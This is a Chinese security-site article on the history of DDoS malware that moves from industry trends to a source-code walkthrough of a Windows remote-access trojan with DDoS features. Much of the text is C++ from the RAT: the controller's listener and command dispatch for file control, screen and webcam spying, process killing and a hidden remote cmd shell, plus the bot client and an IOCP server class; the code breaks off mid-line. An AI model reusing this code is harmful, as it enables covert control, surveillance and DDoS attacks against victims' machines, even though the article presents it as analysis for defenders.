黑基网 首页 学院 电脑技术 查看内容

DDoS恶意软件发展史

2016-4-12 12:07| 投稿: lofor

摘要: 0×00、前言本文主要和大家聊聊DDoS攻击软件的发展史,同时,从黑产业务需求角度分析形成原因,从宏观上透视anti-DDoS安全行业的安全解决方案,最后回归本质,从源代码角度分析攻击软件实现流程和核心算法,同时从设 ...

0×00、前言

本文主要和大家聊聊DDoS攻击软件的发展史,同时,从黑产业务需求角度分析形成原因,从宏观上透视anti-DDoS安全行业的安全解决方案,最后回归本质,从源代码角度分析攻击软件实现流程和核心算法,同时从设计角度给出DDoS防御解决方案技术趋势。

这里再补充一下,目前很多有关恶意软件的分析都是通过反编译黑客的样本文件获取相关信息的,这种方式,其实理解起来很费力,敢问现在的信息安全爱好者有几个能看懂汇编的?都在往高级语言发展,所以,我想有必要通过高级编程语言编写的恶意软件来理解RAT&DDoS。

0×01、行业趋势

回顾一下2015年真实的DDoS攻击案例,不难发现DDoS发展已经完全领先于解决方案的发展速度,就拿GitHub遭遇大流量DDoS攻击,通过JS劫持攻击(攻击源查询发现中国联通骨干网。所以认为是中国政府所为)在JavaScript脚本中嵌入了访问github.Com,那么每个访问百度的设备都会同时访问github。形成了DDoS攻击。

DDoS黑产也越来越专业化,成立网站兜售DDoS攻击服务,到百度上随便搜索DDoS攻击服务,就一大片搜索结果(黑产也做在百度上做排名了)。有的可能有专业的Team做开发,随时更新用户的DDoS需求。从植入广告收益、商业竞争敲诈勒索(游戏、电商行业等)。

DDoS安全防护手段各大互联网和传统安全厂商也趋之若鹜,互联网公司比较有代表性的有云盾、百度的安全宝。传统安全厂商绿盟黑洞、金盾等,还有一些国外的传统安全品牌redware。。。小流量其实买台设备就可以了。

最后,分析一下Prolexic最新的DDoS报告。2015年Q2、

从报告可以看出SYN和SSDP比例在增大。

衡量DDoS攻击的指标有以下几个:攻击手段(Layer7or  Layer 3&4)、攻击持续时间和平均攻击带宽。2015 年Q2最大的DDoS攻击已经超过240Gbps并且持续超过13个小时。

FreeBuf百科: SSDP

SSDP是一种应用层协议,是构成通用即插即用(UPnP)技术的核心协议之一。同时提供了在局部网络里面发现设备的机制。控制点(也就是接受服务的客户端)可以通过使用简单服务发现协议,根据自己的需要查询在自己所在的局部网络里面提供特定服务的设备。设备(也就是提供服务的服务器端)也可以通过使用简单服务发现协议,向自己所在的局部网络里面的控制点声明它的存在。

大家就知道本服务是干什么的了,家里的小米盒子使用dlna协议和电脑通讯,前提是要打开SSDP协议。报告中还着重提醒了一下Wordpress和它危险的插件,这些都是DDoS来源。

0×02、恶意软件发展史

根据多年的反病毒经验,我发现DDoS功能是RAT恶意软件发展过程当中附件的一个功能。

第一级段:WindowsRAT&DDoS恶意软件源代码分析。编程语言为C++,编程工VC6.0。

首先通过,泳道图描述一下客户端和服务器端各自功能对接流程。

相关功能模块描述:

(1)系统资产模块

针对于客户端:报告客户端资产情况,主要是了解CPU、内存等情况,当然也可以外加带宽情况,了解DDoS客户端状态,为DDoS攻击做准备。

针对服务器端:统计在线肉鸡情况。

(2)文件管理

针对文件操作消息进行处理。文件下载、执行、上删除等操作。由于下载下载执行和文件上传需要单独开辟socket单独建立连接线程执行,所以用单独功能模块执行。

(3)屏幕监控

主要是远程控制对方电脑,windows远程桌面或者PCAnywhere类似的功能。这里有一个核心技术只传输变化的屏幕界面。

(4)进程管理

主要是为了处理杀毒软件等安全系统的实现的功能。

(5)远程cmdshell

远程执行命令。DDoS所有命令都在这个模块实现。

(6)视频捕捉

捕捉用户的视频,能看到你在干啥。。。。

多说无益,上代码说明:

管理端代码:

(1)启动代码

应用程序进入GUI界面后,首先通过读取ini文件获取到需要监听的端口,比如说:你在家路由器上做NAT映射的一个端口,我的是极路由,可以在

那么,本地服务器监听的IP和PORT为:192.168.199.101:8081,这样客户端就可以通过NAT映射找到服务器了。。。

void CGSGSoftRCServerDlg::StartListen(int Port)
{
    m_ListenPort = Port;
    //启动监听线程
    hAcceptThread = ThreadTemplate::StartThread<CGSGSoftRCServerDlg, DWORD>(this, ThreadAccept);
    //启动在线检测线程
    hCheckThread = ThreadTemplate::StartThread<CGSGSoftRCServerDlg, DWORD>(this, ThreadCheck);
    if (hAcceptThread == NULL || hCheckThread == NULL)
    {
        StopListen();
        ListenError(2);
        return;
    }
}

(2)接收一个socket开辟一个线程处理: ThreadAccept()-> AcceptSocket()

DWORD CGSGSoftRCServerDlg::ThreadAccept()
{
    SOCKET        ClientSocket = INVALID_SOCKET;
    sockaddr_in LocalAddr  = { 0 };
    sockaddr_in    ClientAddr = { 0 };
    int            addr_size = sizeof (sockaddr_in);
    WSADATA lpWSAData;
    WSAStartup(MAKEWORD(2, 2), &lpWSAData);
    closesocket(m_ListenSock);
    m_ListenSock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
    LocalAddr.sin_family      = AF_INET;
    LocalAddr.sin_port        = htons(m_ListenPort);//监听的端口
    LocalAddr.sin_addr.s_addr = htonl (INADDR_ANY);
    if(bind(m_ListenSock, (LPSOCKADDR)&LocalAddr, addr_size) == SOCKET_ERROR)
    {
        closesocket(m_ListenSock);
        ListenError(1);
        return 0;
    }
    while (m_ListenSock != INVALID_SOCKET)
    {
        ClientSocket = accept(m_ListenSock, (LPSOCKADDR) &ClientAddr, &addr_size); // accept a socket
        if (ClientSocket == INVALID_SOCKET)
        {
            StopListen();
            ListenError(2);
            return 0;
        }
        else
        {
            ThreadTemplate::StartThread<CGSGSoftRCServerDlg, DWORD>(this, AcceptSocket,ClientSocket);
        }
    }
    return 0;
}

(3)解析上线指令 ( AcceptSocket() )

命令定义:

命令对应的调用的消息函数,参看源代码。

DWORD CGSGSoftRCServerDlg::AcceptSocket(SOCKET socket)
{
    if(socket != INVALID_SOCKET)
    {   
        TurnonKeepAlive(socket, 150); //设置心跳
        //recv socket type
        MsgHead msgHead;
        char    chBuffer[256];
        //接收上线信息
        if(! RecvMsg(socket,chBuffer,&msgHead))
            return 0;
        //解析命令
        switch(msgHead.dwCmd)
        {
        case SOCKET_CONNECT://连接控制的socket
            {
                SysInfo m_SysInfo;
                memcpy(&m_SysInfo, chBuffer, sizeof(SysInfo));//被控端信息
                //加入上线主机列表框中
                CLockSection m_LockSection(&g_Variable.m_cOnlineLock);    
                sockaddr_in addr;
                int cb = sizeof(addr);
                getpeername(socket, (sockaddr*)&addr, &cb);
                CString OnlineIP,Address;
                OnlineIP.Format("%s:%u",inet_ntoa(addr.sin_addr),(DWORD)ntohs(addr.sin_port));//将网络序转换为本机序    
                Address = m_QQDat.IPtoAdd(OnlineIP); //通过QQway把连接IP转化成物理位置。
                int iCount =m_OnLineList.GetItemCount();
                m_OnLineList.InsertItem(iCount,"",m_SysInfo.bVideo);
                m_OnLineList.SetItemData(iCount,(DWORD)socket);//保存socket
                m_OnLineList.SetItemText(iCount,0,OnlineIP);
                m_OnLineList.SetItemText(iCount,1,m_SysInfo.cComputer);
                m_OnLineList.SetItemText(iCount,2,Address);
                m_OnLineList.SetItemText(iCount,3,m_SysInfo.cOS);
                m_OnLineList.SetItemText(iCount,4,m_SysInfo.cMemorySize);
                m_OnLineList.SetItemText(iCount,5,m_SysInfo.cVersion);
                m_OnLineList.SetItemText(iCount,6,"空闲");
                StatusTextOut(2,"当前在线主机 [%d]",m_OnLineList.GetItemCount());
            }
            break;
        case SOCKET_FILEMANAGE://文件管理的socket
            {
                LPSocketInput pInput = new SocketInput;
                pInput->sMainConnect = socket;
                PostMessage(WM_FILEDLGSHOW, (DWORD)pInput, 0);
            }
            break;
        case SOCKET_SCREEN://屏幕监控的socket
            {
                SOCKET sConnect = msgHead.dwExtend1;//被控端信息
                LPSocketInput pInput = new SocketInput;
                pInput->sMainConnect = socket;
                pInput->sHelpConnect = sConnect;
                PostMessage(WM_SCREENDLGSHOW, (DWORD)pInput, 0);
            }
            break;
        case SOCKET_PROCESS://进程管理的socket
            {
                LPSocketInput pInput = new SocketInput;
                pInput->sMainConnect = socket;
                PostMessage(WM_PROCESSDLGSHOW, (DWORD)pInput, 0);
            }
            break;
        case SOCKET_CMDSHELL://远程shell的socket
            {
                LPSocketInput pInput = new SocketInput;
                pInput->sMainConnect = socket;
                PostMessage(WM_SHELLDLGSHOW, (DWORD)pInput, 0);
            }
            break;
        case SOCKET_FILEDOWN://文件下载的socket
            {
                if(!m_TranDlg.IsWindowVisible())
                    m_TranDlg.ShowWindow(SW_SHOW);
                m_TranDlg.CenterWindow();
                m_TranDlg.BringWindowToTop();
                m_TranDlg.AddTranTask(socket, TRUE);
            }
            break;
        case SOCKET_FILEUP:  //文件上传的socket
            {
                if(!m_TranDlg.IsWindowVisible())
                    m_TranDlg.ShowWindow(SW_SHOW);
                m_TranDlg.CenterWindow();
                m_TranDlg.BringWindowToTop();
                m_TranDlg.AddTranTask(socket, FALSE);
            }
            break;
        case SOCKET_VIDEOCAP:  //视频捕捉的socket
            {
                LPSocketInput pInput = new SocketInput;
                pInput->sMainConnect = socket;
                PostMessage(WM_VIDEODLGSHOW, (DWORD)pInput, 0);
            }
            break;
        default://啥都不是,关掉你
            {
                shutdown(socket,0x02);
                closesocket(socket);
            }
            break;
        }
    }
    return 0;
}

(4)各个命令处理 配合客户端实现的代码(由于代码量太大,就拿文件管理模块举例说明)

 文件管理模块:

服务器端代码:

void CGSGSoftRCServerDlg::OnOnlineFilemanage() 
{
    // TODO: Add your command handler code here
    if(m_CurrSock != INVALID_SOCKET)
    {
        //发送开启文件管理命令
        MsgHead msgHead;
        msgHead.dwCmd = CMD_FILEMANAGE;
        msgHead.dwSize = 0;
        if(SendMsg(m_CurrSock,NULL,&msgHead))
        {
            //发送成功,输出信息
            StatusTextOut(0,"成功发送 [文件管理] 命令");
        }
        else
        {
            //发送失败,关闭socket
            shutdown(m_CurrSock,0x02);
            closesocket(m_CurrSock);
        }
    }
    else
        StatusTextOut(0,"请选择操作主机");
}

客户端代码,核心命令解析部分:

DWORD _stdcall ConnectThread(LPVOID lParam)
{
    。。。。。。
    
    if( !SendMsg(MainSocket, (char *)&m_SysInfo, &msgHead) )
    {
        closesocket(MainSocket);
        return 1;//send socket type error
    }
    while(1)
    {
        //接收命令
        if(! RecvMsg(MainSocket, (char *)chBuffer, &msgHead))
        {//掉线,错误
            shutdown(MainSocket,0x02);
            closesocket(MainSocket);
            break;
        }
        //解析命令
        switch(msgHead.dwCmd)
        {
        case CMD_FILEMANAGE:
            {
                CreateThread(NULL,NULL,FileManageThread,NULL,NULL,NULL);//开一个文件管理的线程
            }
            break;
       。。。。
       。。。。
        default:
            break;
        }
    }
    return 10;
}

客户端代码,文件管理部分:

//////////////////////////////////////////////////////////////////////////////////

//文件管理线程

DWORD _stdcall FileManageThread(LPVOID lParam)
{
    struct sockaddr_in LocalAddr;
    LocalAddr.sin_family=AF_INET;
    LocalAddr.sin_port=htons(_ttoi(g_Variable.m_Port));
    LocalAddr.sin_addr.S_un.S_addr=resolve((char *)(LPCSTR)g_Variable.m_IP);
    
    SOCKET FileSocket = socket(AF_INET, SOCK_STREAM, 0);
    if(connect(FileSocket,(PSOCKADDR)&LocalAddr,sizeof(LocalAddr)) == SOCKET_ERROR)
    {
        closesocket(FileSocket);
        return 0;//connect error
    }
    //================================================================================
    MsgHead msgHead;
    char *chBuffer = new char[1536 * 1024]; //数据交换区 1.5MB
    //send socket type 
    msgHead.dwCmd = SOCKET_FILEMANAGE;
    msgHead.dwSize = 0;
    if(!SendMsg(FileSocket, chBuffer, &msgHead))
    {
        if(chBuffer != NULL)
            delete []chBuffer;
        closesocket(FileSocket);
        return 0;//send socket type error
    }
    while(1)
    {
        //接收命令
        if(!RecvMsg(FileSocket, chBuffer, &msgHead))
            break;
        //解析命令
        switch(msgHead.dwCmd)
        {
        case CMD_FILEDRIVER://获取驱动器
            {
                FileListDirver(chBuffer, &msgHead);
            }
            break;
        case CMD_FILEDIRECTORY://获取文件夹
            {
                FileListDirectory(chBuffer, &msgHead);
            }
            break;
        case CMD_FILEDELETE://删除
            {
                FileDelete(chBuffer, &msgHead);
            }
            break;
        case CMD_FILEEXEC://执行
            {
                FileExec(chBuffer, &msgHead);
            }
            break;
        case CMD_FILEPASTE://粘贴
            {
                FilePaste(chBuffer, &msgHead);
            }
            break;
        case CMD_FILERENAME://重命名
            {
                FileReName(chBuffer, &msgHead);
            }
            break;
        case CMD_FILEDOWNSTART://下载开始
            {
                FileOpt m_FileOpt;
                memcpy(&m_FileOpt,chBuffer,sizeof(m_FileOpt));
                
                if(CreateThread(NULL,NULL,FileDownThread,(LPVOID)&m_FileOpt,NULL,NULL) != NULL)
                    msgHead.dwCmd  = CMD_SUCCEED;
                else
                    msgHead.dwCmd  = CMD_FAILED;
                msgHead.dwSize = 0;
            }
            break;
        case CMD_FILEUPSTART://上传开始
            {
                FileOpt m_FileOpt;
                memcpy(&m_FileOpt,chBuffer,sizeof(m_FileOpt));
                
                if(CreateThread(NULL,NULL,FileUpThread,(LPVOID)&m_FileOpt,NULL,NULL) != NULL)
                    msgHead.dwCmd  = CMD_SUCCEED;
                else
                    msgHead.dwCmd  = CMD_FAILED;
                msgHead.dwSize = 0;
            }
            break;
        default:
            {
                msgHead.dwCmd = CMD_INVALID;
                msgHead.dwSize = 0;
            }
            break;
        }
        //发送数据
        if(!SendMsg(FileSocket, chBuffer, &msgHead))
            break;
    }
    if(chBuffer != NULL)
        delete[] chBuffer;
    closesocket(FileSocket);
    return 0;
}

通过上述代码可以了解传统RAT黑客工具怎么做文件管理的,(其实,就是服务器端和客户端处理好传递的消息命令)。那么第一代DDoS攻击攻击怎么集成到RAT工具中呢?

简单的DDoS功能是通过Cmdshell执行。代码如下。只要cmd窗口能执行的DDoS攻击命令,这个RAT工具都能执行。(什么死亡之ping等icmp洪水)。

客户端实现代码如下:

void DOSShell(char *pBuf, LPMsgHead lpMsgHead)
{
    STARTUPINFO si;
    PROCESS_INFORMATION pi;
    HANDLE hRead=NULL,hWrite=NULL;
    TCHAR Cmdline[200]={0};     //命令行缓冲
    char ReadBuf[1024]={0};    //发送缓冲
    SECURITY_ATTRIBUTES sa;     //安全描述符
    DWORD dwLen=0,bytesRead=0;
    sa.nLength=sizeof(SECURITY_ATTRIBUTES);
    sa.lpSecurityDescriptor=NULL;
    sa.bInheritHandle=TRUE;
    //创建匿名管道,被瑞星杀
    if (!CreatePipe(&hRead,&hWrite,&sa,0))  
    {
        lpMsgHead->dwCmd  = CMD_SHELLERR;
        lpMsgHead->dwSize = 0;
        if(hRead!=NULL)
            CloseHandle(hRead);
        if(hWrite!=NULL)
            CloseHandle(hWrite);
        return;
    }
    si.cb=sizeof(STARTUPINFO);
    GetStartupInfo(&si);
    si.hStdError=hWrite;
    si.hStdOutput=hWrite;    //进程(cmd)的输出写入管道
    si.wShowWindow=SW_HIDE;
    si.dwFlags=STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
    GetSystemDirectory(Cmdline,sizeof (Cmdline));   //获取系统目录
    strcat(Cmdline,"\\cmd.exe /c ");                //拼接cmd
    strncat(Cmdline,pBuf,lpMsgHead->dwSize);        //拼接一条完整的cmd命令
    
    //创建进程,也就是执行cmd命令
    if (!CreateProcess(NULL,Cmdline,NULL,NULL,TRUE,NULL,NULL,NULL,&si,π)) 
    {
        lpMsgHead->dwCmd  = CMD_SHELLERR;
        lpMsgHead->dwSize = 0;
        if(hRead!=NULL)
            CloseHandle(hRead);
        if(hWrite!=NULL)
            CloseHandle(hWrite);
        return;
    }
    CloseHandle(hWrite);//这句不可省
    //无限循环读取管道中的数据,直到管道中没有数据为止
    while (TRUE)
    {
        memset(ReadBuf, 0, 1024);
        if (ReadFile(hRead, ReadBuf, 1024, &bytesRead, NULL)==0)
            break;
        //拼接数据
        memcpy(pBuf+dwLen,ReadBuf,bytesRead);
        dwLen += bytesRead;
        Sleep(50);
    }
    lpMsgHead->dwCmd = 0;
    lpMsgHead->dwSize = dwLen;
    //释放句柄
    if (hRead!=NULL)
        CloseHandle(hRead);
    if (hWrite!=NULL)
        CloseHandle(hWrite);
}

第一阶段实现代码比较粗糙,但是已经实现RAT和简单的DDoS相关功能。。。。

第二阶段:通过IOCP异步socket处理,管理端可以连接更多的客户端, 那么通过分析IOCP通讯类可以更好的了解,恶意软件服务器端设计手段。同时,可以通过分析DDoS软件核心代码,了解DDoS客户端发展趋势。

(1)IOCP 代码解析,主要是通过socket异步处理。

//服务端口
#define SVRPORT 80
//缓冲区大小
#define BUFFER_SIZE 1024 * 4//1024 * 200
//接收数据
#define RECV_POSTED 0
//发送数据
#define SEND_POSTED 1
//单句柄数据
typedef struct _PER_HANDLE_DATA
{
    unsigned long IpAddr;
    SOCKET sClient;
}PER_HANDLE_DATA,*LPPER_HANDLE_DATA;
//IO操作数据
typedef struct _PER_IO_OPERATION_DATA
{
    //重叠结构
    OVERLAPPED OverLapped;
    //数据缓冲区
    WSABUF DataBuf;
    char Buf[BUFFER_SIZE];
    //操作类型表示发送、接收或关闭等
    bool OperType;
}PER_IO_OPERATION_DATA,*PPER_IO_OPERATION_DATA;
//回调处理数据函数原型
typedef void __stdcall ProcessRecvData(unsigned long sIP,
                                       SOCKET sClient,
                                       char * pData,
                                       unsigned long DataLength,
                                       void *pContext);
DWORD WINAPI ServerWorkerProc(LPVOID lParam);
DWORD WINAPI ListenProc(LPVOID lParam);
//#################完成端口socket###################
class CIocpModeSvr  
{
public:
    CIocpModeSvr();
    virtual ~CIocpModeSvr();
public:
    void *m_pContext;
    //初始化
    bool Init(ProcessRecvData* pProcessRecvData, void *pContext, unsigned long iSvrPort=SVRPORT);
    //反初始化
    void UnInit();
    /*  用于发送消息的函数组*/
public:
    bool SendMsg(SOCKET sClient,char * pData,unsigned long Length);
    bool SendMsgToAll(char * pData,unsigned long Length);
    bool DisConnectClient(SOCKET sClient);
    void DisConnectAll();
    void RemoveSocket(SOCKET sClient);
public:
    //获得本地Ip地址
    const char * GetLocalIpAdd(){ 
        if(IsStart)return HostIpAddr;
        else return NULL;
    }
    //获得服务器使用的端口号
    unsigned short GetSvrPort(){
        if(IsStart)return m_SvrPort;
        else return 0;
    }
protected:
    int InitNetWork(unsigned int SvrPort=SVRPORT,
                     char *pHostIpAddress=NULL);
    ProcessRecvData* m_pProcessRecvData;
private:
    //完成句柄
    HANDLE CompletionPort;
    //主机IP
    char  HostIpAddr[32];
    //客户信息列表
    DCLinkedList<PER_HANDLE_DATA> ClientList;    
    //客户信息临界保护量
    CRITICAL_SECTION cInfoSection;
    //服务是否已经启动
    bool IsStart;
    //侦听SOCKET
    SOCKET ListenSocket;
    //侦听线程句柄,用于反初始化时销毁侦听线程
    HANDLE ListenThreadHandle;
    //服务端口
    unsigned short m_SvrPort;
    friend DWORD WINAPI ServerWorkerProc(LPVOID lParam);
    friend DWORD WINAPI ListenProc(LPVOID lParam);
};

客户端解析消息函数。

LRESULT CALLBACK WndProc(HWND hWnd,UINT message,WPARAM wParam,LPARAM lParam) 
{ 
  switch(message) 
  { 
  case WM_SOCKET: 
    if(WSAGETSELECTE
小编推荐:欲学习电脑技术、系统维护、网络管理、编程开发和安全攻防等高端IT技术,请 点击这里 注册黑基账号,公开课频道价值万元IT培训教程免费学,让您少走弯路、事半功倍,好工作升职加薪!



免责声明:本文由投稿者转载自互联网,版权归原作者所有,文中所述不代表本站观点,若有侵权或转载等不当之处请联系我们处理,让我们一起为维护良好的互联网秩序而努力!联系方式见网站首页右下角。


鲜花

握手

雷人

路过

鸡蛋

相关阅读

最新评论


新出炉

返回顶部